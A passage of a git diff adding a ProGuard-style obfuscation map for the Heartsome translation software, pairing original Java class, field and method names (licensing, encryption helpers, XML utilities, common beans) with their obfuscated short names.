isTrial() -> dT + java.lang.String getLicenseId() -> dR + byte[] getInstall() -> dU + java.lang.String getMacCode() -> dV +net.heartsome.license.MacosxSeries -> net.heartsome.license.ae: + java.lang.String getSeries() -> getSeries +net.heartsome.license.MacosxSeries$ReadThread -> net.heartsome.license.af: + java.io.InputStream is -> is + java.util.ArrayList result -> yO + boolean flag -> yP + java.lang.String getResult() -> dW + void run() -> run +net.heartsome.license.OffLineActiveService -> net.heartsome.license.ag: + java.lang.String installKey -> yQ + int activeByGrantFile(java.lang.String) -> aw + int generateInstallFile() -> dX + int readInstallFile() -> dY + java.lang.String getInstallKey() -> dZ + java.lang.String[] getStrFromInfo(java.lang.String) -> av +net.heartsome.license.OfflineActiveDialog -> net.heartsome.license.ah: + org.eclipse.swt.graphics.Cursor cursor -> yK + org.eclipse.swt.widgets.Text text1 -> yC + org.eclipse.swt.widgets.Text text2 -> yD + org.eclipse.swt.widgets.Text text3 -> yE + org.eclipse.swt.widgets.Text text4 -> yF + org.eclipse.swt.widgets.Text text5 -> yG + org.eclipse.swt.widgets.Text text6 -> yH + org.eclipse.swt.graphics.Point p -> ym + org.eclipse.swt.graphics.Point getInitialLocation(org.eclipse.swt.graphics.Point) -> getInitialLocation + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + void createNavigation(org.eclipse.swt.widgets.Composite) -> t + void createIdInputComp(org.eclipse.swt.widgets.Composite) -> x + java.lang.String getLicenseId() -> dR + java.lang.String getVersionContent(java.lang.String) -> at + void okPressed() -> okPressed + java.lang.String getDisplayHelpUrl() -> getDisplayHelpUrl + void access$0(net.heartsome.license.OfflineActiveDialog,int) -> a + org.eclipse.swt.widgets.Text access$1(net.heartsome.license.OfflineActiveDialog) -> a + org.eclipse.swt.widgets.Text access$2(net.heartsome.license.OfflineActiveDialog) -> b + org.eclipse.swt.widgets.Text access$3(net.heartsome.license.OfflineActiveDialog) -> c + org.eclipse.swt.widgets.Text access$4(net.heartsome.license.OfflineActiveDialog) -> d + org.eclipse.swt.widgets.Text access$5(net.heartsome.license.OfflineActiveDialog) -> e + org.eclipse.swt.widgets.Text access$6(net.heartsome.license.OfflineActiveDialog) -> f +net.heartsome.license.OfflineActiveDialog$1 -> net.heartsome.license.ai: + net.heartsome.license.OfflineActiveDialog this$0 -> yR + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.license.OfflineActiveDialog$2 -> net.heartsome.license.aj: + net.heartsome.license.OfflineActiveDialog this$0 -> yR + void mouseUp(org.eclipse.swt.events.MouseEvent) -> mouseUp + void mouseDown(org.eclipse.swt.events.MouseEvent) -> mouseDown + void mouseDoubleClick(org.eclipse.swt.events.MouseEvent) -> mouseDoubleClick +net.heartsome.license.OfflineActiveDialog$3 -> net.heartsome.license.ak: + net.heartsome.license.OfflineActiveDialog this$0 -> yR + void mouseUp(org.eclipse.swt.events.MouseEvent) -> mouseUp + void mouseDown(org.eclipse.swt.events.MouseEvent) -> mouseDown + void mouseDoubleClick(org.eclipse.swt.events.MouseEvent) -> mouseDoubleClick +net.heartsome.license.OfflineActiveDialog$4 -> net.heartsome.license.al: + net.heartsome.license.OfflineActiveDialog this$0 -> yR + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.license.OfflineActiveDialog$5 -> net.heartsome.license.am: + net.heartsome.license.OfflineActiveDialog this$0 -> yR + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.license.OfflineActiveDialog$6 -> net.heartsome.license.an: + net.heartsome.license.OfflineActiveDialog this$0 -> yR + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.license.OfflineActiveDialog$7 -> net.heartsome.license.ao: + net.heartsome.license.OfflineActiveDialog this$0 -> yR + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.license.OfflineActiveDialog$8 -> net.heartsome.license.ap: + net.heartsome.license.OfflineActiveDialog this$0 -> yR + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.license.OfflineActiveDialog$9 -> net.heartsome.license.aq: + net.heartsome.license.OfflineActiveDialog this$0 -> yR + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.license.ProtectionFactory -> net.heartsome.license.ar: + java.lang.String getSeries() -> getSeries + net.heartsome.license.encrypt.Encrypt getEncrypt() -> ea + java.lang.String getFileName(int,java.lang.String) -> d + java.lang.String getPlatform() -> getPlatform + java.lang.String getProduct() -> getProduct + java.lang.String getProduct(java.lang.String) -> ax + java.lang.String getVersion() -> getVersion +net.heartsome.license.SelectGrantFileDialog -> net.heartsome.license.as: + org.eclipse.swt.widgets.Text textPath -> yS + org.eclipse.swt.widgets.Button btnScan -> yT + java.lang.String[] FILE_IMPORT_MASK -> yU + org.eclipse.swt.graphics.Point p -> ym + org.eclipse.swt.graphics.Point getInitialLocation(org.eclipse.swt.graphics.Point) -> getInitialLocation + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + void createNavigation(org.eclipse.swt.widgets.Composite) -> t + void okPressed() -> okPressed + java.lang.String getDisplayHelpUrl() -> getDisplayHelpUrl + org.eclipse.swt.widgets.Text access$0(net.heartsome.license.SelectGrantFileDialog) -> a + java.lang.String[] access$1() -> eb +net.heartsome.license.SelectGrantFileDialog$1 -> net.heartsome.license.at: + net.heartsome.license.SelectGrantFileDialog this$0 -> yV + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.license.Series -> net.heartsome.license.Series: + java.lang.String getSeries() -> getSeries +net.heartsome.license.SeriesInterface -> net.heartsome.license.au: + java.lang.String getSeries() -> getSeries +net.heartsome.license.WindowsSeries -> net.heartsome.license.av: + java.lang.String getSeries() -> getSeries +net.heartsome.license.constants.Constants -> net.heartsome.license.constants.a: + java.lang.String SEPARATOR -> SEPARATOR + java.lang.String RETURN_INVALIDLICENSE -> yW + int RETURN_INVALIDLICENSE_INT -> yX + java.lang.String RETURN_INVALIDBUNDLE -> yY + int RETURN_INVALIDBUNDLE_INT -> yZ + java.lang.String RETURN_DBEXCEPTION -> za + java.lang.String RETURN_STOPLICENSE -> zb + int RETURN_STOPLICENSE_INT -> zc + int ACTIVE_OK_INT -> zd + java.lang.String RETURN_MUTILTEMPBUNDLE -> ze + int RETURN_MUTILTEMPBUNDLE_INT -> zf + java.lang.String RETURN_EXPIREDLICENSE -> zg + int RETURN_EXPIREDLICENSE_INT -> zh + java.lang.String RETURN_MACCODEERR -> zi + java.lang.String RETURN_CHECKSUCESS -> zj + int EXCEPTION_INT1 -> zk + java.lang.String EXCEPTION_STRING1 -> zl + int EXCEPTION_INT2 -> zm + java.lang.String EXCEPTION_STRING2 -> zn + int EXCEPTION_INT3 -> zo + java.lang.String EXCEPTION_STRING3 -> zp + int EXCEPTION_INT4 -> zq + java.lang.String EXCEPTION_STRING4 -> zr + int EXCEPTION_INT5 -> zs + java.lang.String EXCEPTION_STRING5 -> zt + int EXCEPTION_INT6 -> zu + java.lang.String EXCEPTION_STRING6 -> zv + int EXCEPTION_INT7 -> zw + java.lang.String EXCEPTION_STRING7 -> zx + int EXCEPTION_INT8 -> zy + java.lang.String EXCEPTION_STRING8 -> zz + int EXCEPTION_INT9 -> zA + java.lang.String EXCEPTION_STRING9 -> zB + int EXCEPTION_INT10 -> zC + java.lang.String EXCEPTION_STRING10 -> zD + int EXCEPTION_INT11 -> zE + java.lang.String EXCEPTION_STRING11 -> zF + int EXCEPTION_INT12 -> zG + java.lang.String EXCEPTION_STRING12 -> zH + int EXCEPTION_INT13 -> zI + java.lang.String EXCEPTION_STRING13 -> zJ + int EXCEPTION_INT14 -> zK + java.lang.String EXCEPTION_STRING14 -> zL + int EXCEPTION_INT15 -> zM + java.lang.String EXCEPTION_STRING15 -> zN + int EXCEPTION_INT16 -> zO + java.lang.String EXCEPTION_STRING16 -> zP + int EXCEPTION_INT17 -> zQ + java.lang.String EXCEPTION_STRING17 -> zR + int CANCEL -> CANCEL + int STATE_FILE_NOT_EXSIT -> zS + int STATE_NOT_ACTIVATED -> zT + int STATE_VALID -> zU + int STATE_INVALID -> zV + int STATE_EXPIRED -> zW + java.lang.String RETURN_LOGOUTSUCESS -> zX + int LOGOUT_SUCCESS -> zY + int LOGOUT_FAIL -> zZ + java.lang.String PRODUCTID -> Aa + java.lang.String TYPE_TMEP -> Ab + java.lang.String TYPE_BUSINESS -> Ac + java.lang.String CONNECT_URL -> Ad + java.lang.String RETURN_NULLTEMPENDDATE -> Ae +net.heartsome.license.encrypt.Encrypt -> net.heartsome.license.encrypt.a: + byte[] getPublicKey() -> ec + byte[] getPrivateKey() -> ed + byte[] encrypt(byte[],byte[]) -> encrypt + byte[] decrypt(byte[],byte[]) -> decrypt +net.heartsome.license.encrypt.EncryptAES -> net.heartsome.license.encrypt.b: + javax.crypto.KeyGenerator keygen -> Af + javax.crypto.SecretKey deskey -> Ag + javax.crypto.Cipher c -> Ah + byte[] cipherByte -> Ai + byte[] Encrytor(java.lang.String) -> ay + byte[] Decryptor(byte[]) -> b + void main(java.lang.String[]) -> main +net.heartsome.license.encrypt.EncryptDES -> net.heartsome.license.encrypt.c: + javax.crypto.KeyGenerator keygen -> Af + javax.crypto.SecretKey deskey -> Ag + javax.crypto.Cipher c -> Ah + byte[] cipherByte -> Ai + byte[] Encrytor(byte[]) -> c + byte[] Decryptor(byte[]) -> b + void main(java.lang.String[]) -> main +net.heartsome.license.encrypt.EncryptDES3 -> net.heartsome.license.encrypt.d: + javax.crypto.KeyGenerator keygen -> Af + javax.crypto.SecretKey deskey -> Ag + javax.crypto.Cipher c -> Ah + byte[] cipherByte -> Ai + byte[] Encrytor(java.lang.String) -> ay + byte[] Decryptor(byte[]) -> b + void main(java.lang.String[]) -> main +net.heartsome.license.encrypt.EncryptRSA -> net.heartsome.license.encrypt.e: + java.lang.String algorithm -> algorithm + int key_size -> Aj + byte[] publicKey -> Ak + byte[] privateKey -> Al + byte[] encrypt(byte[],byte[]) -> encrypt + byte[] decrypt(byte[],byte[]) -> decrypt + byte[] getPublicKey() -> ec + byte[] getPrivateKey() -> ed +net.heartsome.license.encrypt.InstallKeyEncrypt -> net.heartsome.license.encrypt.f: + byte[] publicKey -> Ak + byte[] privateKey -> Al + byte[] encrypt(byte[]) -> d + byte[] decrypt(byte[]) -> e +net.heartsome.license.encrypt.OffLineEncrypt -> net.heartsome.license.encrypt.g: + byte[] publicKey -> Ak +net.heartsome.license.generator.IKeyGenerator -> net.heartsome.license.generator.a: + byte[] generateKey(java.lang.String,java.lang.String,byte[]) -> a + byte[] generateKey(java.lang.String,java.lang.String,java.lang.String,byte[]) -> a + java.lang.String getInstallKey() -> dZ + java.lang.String generateInstallKey() -> ee +net.heartsome.license.generator.KeyGeneratorImpl -> net.heartsome.license.generator.b: + java.lang.String installKey -> yQ + byte[] generateKey(java.lang.String,java.lang.String,byte[]) -> a + java.lang.String generateInstallKey() -> ee + java.lang.String getInstallKey() -> dZ + byte[] generateKey(java.lang.String,java.lang.String,java.lang.String,byte[]) -> a +net.heartsome.license.generator.LicenseIdGenerator -> net.heartsome.license.generator.c: + java.lang.String licenseId -> yw + java.lang.String getProductId() -> getProductId + java.lang.String getVersion() -> getVersion + java.lang.String getIsTrial() -> ef + boolean checkLength() -> eg +net.heartsome.license.handler.LicenseManageHandler -> net.heartsome.license.handler.a: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.license.handler.LicenseManageHandler$1 -> net.heartsome.license.handler.b: + net.heartsome.license.handler.LicenseManageHandler this$0 -> Am + java.lang.String[] val$str -> An + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.license.resource.Messages -> net.heartsome.license.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> am + java.lang.String getString(java.lang.String) -> getString +net.heartsome.license.utils.DateUtils -> net.heartsome.license.utils.a: + java.lang.String getDate() -> getDate +net.heartsome.license.utils.FileUtils -> net.heartsome.license.utils.b: + boolean writeFile(byte[],java.lang.String) -> a + byte[] readFile(java.lang.String) -> readFile + boolean removeFile() -> eh + void removeFile(java.lang.String) -> removeFile + boolean isExsit() -> ei + boolean isExsitInstall() -> ej +net.heartsome.license.utils.RandomUtils -> net.heartsome.license.utils.c: + java.lang.String generateRandom(int) -> o +net.heartsome.license.utils.StringUtils -> net.heartsome.license.utils.d: + char[] HEXCHAR -> Ao + java.lang.String handle(java.lang.String,int,int,int) -> a + java.lang.String reverse(java.lang.String,int,int,int) -> b + java.lang.String removeColon(java.lang.String) -> az + java.lang.String toHexString(byte[]) -> toHexString + byte[] toBytes(java.lang.String) -> toBytes + java.lang.String groupString(java.lang.String) -> aA + java.lang.String getErrorCode(int) -> p +net.heartsome.license.webservice.IService -> net.heartsome.license.webservice.IService: + byte[] getServerPublicKey() -> getServerPublicKey + java.lang.String buyLicense(java.lang.String,java.lang.String,java.lang.String) -> buyLicense + java.lang.String activeLicense(java.lang.String,byte[]) -> activeLicense + java.lang.String activeLicense(java.lang.String,byte[],java.lang.String) -> activeLicense + java.lang.String checkLicense(java.lang.String,byte[]) -> checkLicense + java.lang.String logoutLicense(java.lang.String,byte[]) -> logoutLicense + java.lang.String getTempEndDate(java.lang.String,byte[]) -> getTempEndDate +net.heartsome.license.webservice.ServiceUtil -> net.heartsome.license.webservice.a: + java.lang.String SERVICE_URL -> Ap + java.lang.String SERVICE_NAMESPACE -> Aq + java.lang.String SERVICE_NAME -> SERVICE_NAME + java.lang.String HTTP_TYPE -> Ar + int PORT -> PORT + net.heartsome.license.webservice.IService getService() -> ek + int active(java.lang.String,org.eclipse.swt.widgets.ProgressBar) -> a + int check(java.lang.String,java.lang.String,byte[]) -> b + int cancel() -> cancel + java.lang.String getTempEndDate(java.lang.String) -> aB +net.heartsome.xml.resource.Messages -> net.heartsome.xml.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> am + java.lang.String getString(java.lang.String) -> getString +net.heartsome.xml.vtdimpl.EmptyFileException -> net.heartsome.xml.vtdimpl.EmptyFileException: + long serialVersionUID -> serialVersionUID +net.heartsome.xml.vtdimpl.VTDLoader -> net.heartsome.xml.vtdimpl.VTDLoader: + com.ximpleware.VTDGen loadVTDGen(java.io.File,java.lang.String) -> loadVTDGen + byte[] getBytes(char[],int,int) -> a +net.heartsome.xml.vtdimpl.VTDUtils -> net.heartsome.xml.vtdimpl.VTDUtils: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String XML_NAMESPACE_URL -> XML_NAMESPACE_URL + com.ximpleware.VTDNav vn -> hW + com.ximpleware.VTDGen vg -> As + int PILOT_TO_END -> PILOT_TO_END + int CREATE_IF_NOT_EXIST -> CREATE_IF_NOT_EXIST + java.util.regex.Pattern PATTERN -> PATTERN + void parseFile(java.lang.String,boolean) -> parseFile + void parseFile(java.io.InputStream,boolean) -> parseFile + void bind(com.ximpleware.VTDNav) -> bind + java.lang.String getCurrentElementAttribut(java.lang.String,java.lang.String) -> getCurrentElementAttribut + java.util.Hashtable getCurrentElementAttributs() -> getCurrentElementAttributs + java.util.Hashtable getCurrentElementAttributs(java.lang.String,java.lang.String) -> getCurrentElementAttributs + java.lang.String getCurrentElementName(int) -> getCurrentElementName + java.lang.String getCurrentElementName() -> getCurrentElementName + java.util.Hashtable getCurrentElementAttributs(java.util.Hashtable) -> getCurrentElementAttributs + java.lang.String getElementPureText() -> getElementPureText + java.lang.String getElementRawPureText() -> getElementRawPureText + java.lang.String getElementContent() -> getElementContent + java.util.Vector getChildrenContent(java.lang.String) -> getChildrenContent + java.lang.String getChildContent(java.lang.String) -> getChildContent + int getChildElementsCount() -> getChildElementsCount + int getChildElementsCount(java.lang.String) -> getChildElementsCount + java.lang.String getElementContent(java.lang.String) -> getElementContent + com.ximpleware.VTDNav getVTDNav() -> getVTDNav + java.lang.String getChildPureText(java.lang.String) -> getChildPureText + java.lang.String getElementAttribute(java.lang.String,java.lang.String) -> getElementAttribute + java.lang.String getElementFragment() -> getElementFragment + java.lang.String getElementHead() -> getElementHead + java.lang.String getNodeXML(java.lang.String,java.lang.String,java.util.Hashtable) -> getNodeXML + java.lang.Object getEvalValue(java.lang.Class,java.lang.String) -> getEvalValue + java.lang.Object getEvalValue(java.lang.Class,com.ximpleware.AutoPilot,java.lang.String) -> getEvalValue + java.lang.String getValue(java.lang.String) -> getValue + java.lang.String getValue(java.lang.String,java.lang.String) -> getValue + java.lang.String getValue(com.ximpleware.AutoPilot,java.lang.String) -> getValue + java.lang.String getValue(com.ximpleware.AutoPilot,java.lang.String,java.lang.String) -> getValue + java.util.List getValues(com.ximpleware.AutoPilot,java.lang.String,boolean) -> getValues + java.util.List getValues(com.ximpleware.AutoPilot,java.lang.String) -> getValues + java.util.List getValues(java.lang.String) -> getValues + com.ximpleware.XMLModifier delete(java.lang.String) -> delete + com.ximpleware.XMLModifier delete(java.lang.String,int) -> delete + com.ximpleware.XMLModifier delete(com.ximpleware.AutoPilot,com.ximpleware.XMLModifier,java.lang.String) -> delete + com.ximpleware.XMLModifier delete(com.ximpleware.AutoPilot,com.ximpleware.XMLModifier,java.lang.String,int) -> delete + com.ximpleware.XMLModifier update(java.lang.String,java.lang.String) -> update + com.ximpleware.XMLModifier update(java.lang.String,java.lang.String,int) -> update + com.ximpleware.XMLModifier update(com.ximpleware.AutoPilot,com.ximpleware.XMLModifier,java.lang.String,java.lang.String) -> update + com.ximpleware.XMLModifier update(com.ximpleware.AutoPilot,com.ximpleware.XMLModifier,java.lang.String,java.lang.String,int) -> update + com.ximpleware.XMLModifier handleXML(com.ximpleware.AutoPilot,com.ximpleware.XMLModifier,java.lang.String,java.lang.String,int,boolean) -> a + void insertAttribute(com.ximpleware.XMLModifier,java.lang.String,java.lang.String) -> a + com.ximpleware.XMLModifier insert(java.lang.String,java.lang.String) -> insert + com.ximpleware.XMLModifier insert(com.ximpleware.AutoPilot,com.ximpleware.XMLModifier,java.lang.String,java.lang.String) -> insert + com.ximpleware.XMLModifier insert(java.lang.String,java.lang.String,int) -> insert + com.ximpleware.XMLModifier insert(com.ximpleware.AutoPilot,com.ximpleware.XMLModifier,java.lang.String,java.lang.String,int) -> insert + int pilot(java.lang.String) -> pilot + int pilot(com.ximpleware.AutoPilot,java.lang.String) -> pilot + java.lang.String dealEscapeQuotes(java.lang.String) -> dealEscapeQuotes + com.ximpleware.VTDNav updateVTDNav(com.ximpleware.XMLModifier,java.lang.String) -> updateVTDNav + java.lang.String getCharsetByEncoding() -> getCharsetByEncoding + void clear() -> clear + void parseFile(java.io.File,boolean) -> parseFile +net.heartsome.xml.vtdimpl.test.TestDiffFileEncoding -> net.heartsome.xml.vtdimpl.test.a: + java.lang.String utf_16be -> At + java.lang.String utf_16le -> Au + java.lang.String utf_8 -> Av + void main(java.lang.String[]) -> main +net.heartsome.xml.vtdimpl.test.VTDUtilsTest -> net.heartsome.xml.vtdimpl.test.b: + java.lang.String testFile -> Aw + com.ximpleware.VTDNav vn -> hW + net.heartsome.xml.vtdimpl.VTDUtils vu -> ap + void setUp() -> setUp + void tearDown() -> tearDown + void testVTDUtils() -> el + void testVTDNavStatus() -> em + void testGetChildContent() -> en + void testGetChildrenContent() -> eo + void testGetCurrentElementAttributsNoParams() -> ep + void testGetCurrentElementAttributs1Param() -> eq + void testGetCurrentElementAttributs2Params() -> er + void testGetElementContent() -> es + void testGetElementContent1Param() -> et + void testGetElementPureText() -> eu + void testGetVTDNav() -> ev + void testGetCurrentElementName() -> ew + void testGetCurrentElementNameWithoutInx() -> ex + void testGetChildElementsCount() -> ey + void testGetChildElementsCount2() -> ez + void testGetElementFragment() -> eA diff --git a/tools/obclipse/build/obfuscate_1.map b/tools/obclipse/build/obfuscate_1.map new file mode 100644 index 0000000..36275b7 --- /dev/null +++ b/tools/obclipse/build/obfuscate_1.map @@ -0,0 +1,21455 @@ +net.heartsome.cat.common.bean.ColorConfigBean -> net.heartsome.cat.common.bean.ColorConfigBean: + org.eclipse.swt.graphics.Color ptColor -> aQ + org.eclipse.swt.graphics.Color qtColor -> aS + org.eclipse.swt.graphics.Color mtColor -> aU + org.eclipse.swt.graphics.Color tm101Color -> aV + org.eclipse.swt.graphics.Color tm100Color -> aW + org.eclipse.swt.graphics.Color tm90Color -> aX + org.eclipse.swt.graphics.Color tm80Color -> aY + org.eclipse.swt.graphics.Color tm70Color -> aZ + org.eclipse.swt.graphics.Color tm0Color -> ba + org.eclipse.swt.graphics.Color highlightedTermColor -> gQ + org.eclipse.swt.graphics.Color srcDiffFgColor -> iy + org.eclipse.swt.graphics.Color srcDiffBgColor -> tj + org.eclipse.swt.graphics.Color tagFgColor -> tk + org.eclipse.swt.graphics.Color tagBgColor -> to + org.eclipse.swt.graphics.Color wrongTagColor -> tp + org.eclipse.swt.graphics.Color errorWordColor -> tt + net.heartsome.cat.common.bean.ColorConfigBean instance -> tu + net.heartsome.cat.common.bean.ColorConfigBean getInstance() -> getInstance + void release() -> release + org.eclipse.swt.graphics.Color getPtColor() -> getPtColor + org.eclipse.swt.graphics.Color getQtColor() -> getQtColor + org.eclipse.swt.graphics.Color getMtColor() -> getMtColor + org.eclipse.swt.graphics.Color getTm101Color() -> getTm101Color + org.eclipse.swt.graphics.Color getTm100Color() -> getTm100Color + org.eclipse.swt.graphics.Color getTm90Color() -> getTm90Color + org.eclipse.swt.graphics.Color getTm80Color() -> getTm80Color + org.eclipse.swt.graphics.Color getTm70Color() -> getTm70Color + org.eclipse.swt.graphics.Color getTm0Color() -> getTm0Color + org.eclipse.swt.graphics.Color getSrcDiffFgColor() -> getSrcDiffFgColor + org.eclipse.swt.graphics.Color getSrcDiffBgColor() -> getSrcDiffBgColor + org.eclipse.swt.graphics.Color getTagFgColor() -> getTagFgColor + org.eclipse.swt.graphics.Color getTagBgColor() -> getTagBgColor + org.eclipse.swt.graphics.Color getWrongTagColor() -> getWrongTagColor + org.eclipse.swt.graphics.Color getHighlightedTermColor() -> getHighlightedTermColor + org.eclipse.swt.graphics.Color getErrorWordColor() -> getErrorWordColor + void setPtColor(org.eclipse.swt.graphics.Color) -> setPtColor + void setQtColor(org.eclipse.swt.graphics.Color) -> setQtColor + void setMtColor(org.eclipse.swt.graphics.Color) -> setMtColor + void setTm101Color(org.eclipse.swt.graphics.Color) -> setTm101Color + void setTm100Color(org.eclipse.swt.graphics.Color) -> setTm100Color + void setTm90Color(org.eclipse.swt.graphics.Color) -> setTm90Color + void setTm80Color(org.eclipse.swt.graphics.Color) -> setTm80Color + void setTm70Color(org.eclipse.swt.graphics.Color) -> setTm70Color + void setTm0Color(org.eclipse.swt.graphics.Color) -> setTm0Color + void setHighlightedTermColor(org.eclipse.swt.graphics.Color) -> setHighlightedTermColor + void setSrcDiffFgColor(org.eclipse.swt.graphics.Color) -> setSrcDiffFgColor + void setSrcDiffBgColor(org.eclipse.swt.graphics.Color) -> setSrcDiffBgColor + void setTagFgColor(org.eclipse.swt.graphics.Color) -> setTagFgColor + void setTagBgColor(org.eclipse.swt.graphics.Color) -> setTagBgColor + void setWrongTagColor(org.eclipse.swt.graphics.Color) -> setWrongTagColor + void setErrorWordColor(org.eclipse.swt.graphics.Color) -> setErrorWordColor + java.lang.String toString() -> toString +net.heartsome.cat.common.bean.DatabaseModelBean -> net.heartsome.cat.common.bean.DatabaseModelBean: + java.lang.String id -> id + java.lang.String dbType -> dbType + java.lang.String dbName -> dbName + java.lang.String instance -> instance + java.lang.String host -> host + java.lang.String port -> port + java.lang.String userName -> userName + java.lang.String password -> password + java.lang.String itlDBLocation -> itlDBLocation + boolean hasMatch -> hasMatch + boolean isDefault -> isDefault + java.beans.PropertyChangeSupport propertyChangeSupport -> propertyChangeSupport + java.lang.String getId() -> getId + void setId(java.lang.String) -> setId + java.lang.String getDbType() -> getDbType + void setDbType(java.lang.String) -> setDbType + java.lang.String getDbName() -> getDbName + void setDbName(java.lang.String) -> setDbName + java.lang.String getInstance() -> getInstance + void setInstance(java.lang.String) -> setInstance + java.lang.String getHost() -> getHost + void setHost(java.lang.String) -> setHost + java.lang.String getPort() -> getPort + void setPort(java.lang.String) -> setPort + java.lang.String getUserName() -> getUserName + void setUserName(java.lang.String) -> setUserName + java.lang.String getPassword() -> getPassword + void setPassword(java.lang.String) -> setPassword + java.lang.String getItlDBLocation() -> getItlDBLocation + void setItlDBLocation(java.lang.String) -> setItlDBLocation + boolean isHasMatch() -> isHasMatch + void setHasMatch(boolean) -> setHasMatch + boolean isDefault() -> isDefault + void setDefault(boolean) -> setDefault + void addPropertyChangeListener(java.lang.String,java.beans.PropertyChangeListener) -> addPropertyChangeListener + void removePropertyChangeListener(java.beans.PropertyChangeListener) -> removePropertyChangeListener + void propertyChange(java.beans.PropertyChangeEvent) -> propertyChange + net.heartsome.cat.common.bean.MetaData toDbMetaData() -> toDbMetaData + void metaDatatToBean(net.heartsome.cat.common.bean.MetaData) -> metaDatatToBean + net.heartsome.cat.common.bean.DatabaseModelBean copyToOtherIntance(net.heartsome.cat.common.bean.DatabaseModelBean) -> copyToOtherIntance +net.heartsome.cat.common.bean.FuzzySearchResult -> net.heartsome.cat.common.bean.FuzzySearchResult: + net.heartsome.cat.common.bean.TmxTU tu -> tv + java.lang.String dbName -> dbName + int similarity -> aR + java.lang.Object dbOp -> at + void setDbOp(java.lang.Object) -> setDbOp + java.lang.Object getDbOp() -> getDbOp + void setTu(net.heartsome.cat.common.bean.TmxTU) -> setTu + net.heartsome.cat.common.bean.TmxTU getTu() -> getTu + void setDbName(java.lang.String) -> setDbName + java.lang.String getDbName() -> getDbName + void setSimilarity(int) -> setSimilarity + int getSimilarity() -> getSimilarity +net.heartsome.cat.common.bean.MetaData -> net.heartsome.cat.common.bean.MetaData: + java.lang.String dbType -> dbType + java.lang.String databaseName -> databaseName + java.lang.String instance -> instance + java.lang.String serverName -> serverName + java.lang.String port -> port + java.lang.String userName -> userName + java.lang.String password -> password + java.lang.String optimize -> a + java.lang.String dataPath -> c + boolean isTB -> d + boolean isTM -> e + java.lang.String getDatabaseName() -> getDatabaseName + void setDatabaseName(java.lang.String) -> setDatabaseName + boolean databaseNameSupported() -> databaseNameSupported + java.lang.String getInstance() -> getInstance + void setInstance(java.lang.String) -> setInstance + boolean instanceSupported() -> instanceSupported + java.lang.String getServerName() -> getServerName + void setServerName(java.lang.String) -> setServerName + boolean serverNameSupported() -> serverNameSupported + java.lang.String getPort() -> getPort + void setPort(java.lang.String) -> setPort + boolean portSupported() -> portSupported + java.lang.String getUserName() -> getUserName + void setUserName(java.lang.String) -> setUserName + boolean userNameSupported() -> userNameSupported + java.lang.String getPassword() -> getPassword + void setPassword(java.lang.String) -> setPassword + boolean passwordSupported() -> passwordSupported + java.lang.String getOptimize() -> getOptimize + java.lang.String getDataPath() -> getDataPath + void setDataPath(java.lang.String) -> setDataPath + boolean dataPathSupported() -> dataPathSupported + java.lang.String getDbType() -> getDbType + void setDbType(java.lang.String) -> setDbType + boolean isTB() -> isTB + void setTB(boolean) -> setTB + boolean isTM() -> isTM + void setTM(boolean) -> setTM + java.lang.Object clone() -> clone +net.heartsome.cat.common.bean.ProjectInfoBean -> net.heartsome.cat.common.bean.ProjectInfoBean: + java.lang.String projectName -> projectName + java.util.LinkedHashMap mapField -> mapField + java.util.LinkedHashMap mapAttr -> mapAttr + net.heartsome.cat.common.locale.Language sourceLang -> sourceLang + java.util.List targetLang -> targetLang + java.util.List tmDb -> tmDb + java.util.List tbDb -> tbDb + java.beans.PropertyChangeSupport propertyChangeSupport -> propertyChangeSupport + java.lang.String getProjectName() -> getProjectName + void setProjectName(java.lang.String) -> setProjectName + java.util.LinkedHashMap getMapField() -> getMapField + void setMapField(java.util.LinkedHashMap) -> setMapField + java.util.LinkedHashMap getMapAttr() -> getMapAttr + void setMapAttr(java.util.LinkedHashMap) -> setMapAttr + net.heartsome.cat.common.locale.Language getSourceLang() -> getSourceLang + void setSourceLang(net.heartsome.cat.common.locale.Language) -> setSourceLang + java.util.List getTargetLang() -> getTargetLang + void setTargetLang(java.util.List) -> setTargetLang + java.util.List getTmDb() -> getTmDb + void setTmDb(java.util.List) -> setTmDb + java.util.List getTbDb() -> getTbDb + void setTbDb(java.util.List) -> setTbDb + void propertyChange(java.beans.PropertyChangeEvent) -> propertyChange + void addPropertyChangeListener(java.lang.String,java.beans.PropertyChangeListener) -> addPropertyChangeListener + void removePropertyChangeListener(java.beans.PropertyChangeListener) -> removePropertyChangeListener +net.heartsome.cat.common.bean.TmxContexts -> net.heartsome.cat.common.bean.TmxContexts: + java.lang.String PRE_CONTEXT_NAME -> PRE_CONTEXT_NAME + java.lang.String NEXT_CONTEXT_NAME -> NEXT_CONTEXT_NAME + java.lang.String[] preContext -> tw + java.lang.String[] nextContext -> tx + void appendPreContext(java.lang.String) -> appendPreContext + void appendNextContext(java.lang.String) -> appendNextContext + java.lang.String getNextContext() -> getNextContext + java.lang.String getPreContext() -> getPreContext +net.heartsome.cat.common.bean.TmxHeader -> net.heartsome.cat.common.bean.TmxHeader: + java.lang.String adminlang -> ty + java.lang.String changedate -> tz + java.lang.String changeid -> wv + 